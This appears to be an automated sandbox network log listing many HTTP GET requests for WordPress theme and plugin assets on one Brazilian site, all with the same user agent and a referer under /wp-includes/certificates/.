Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
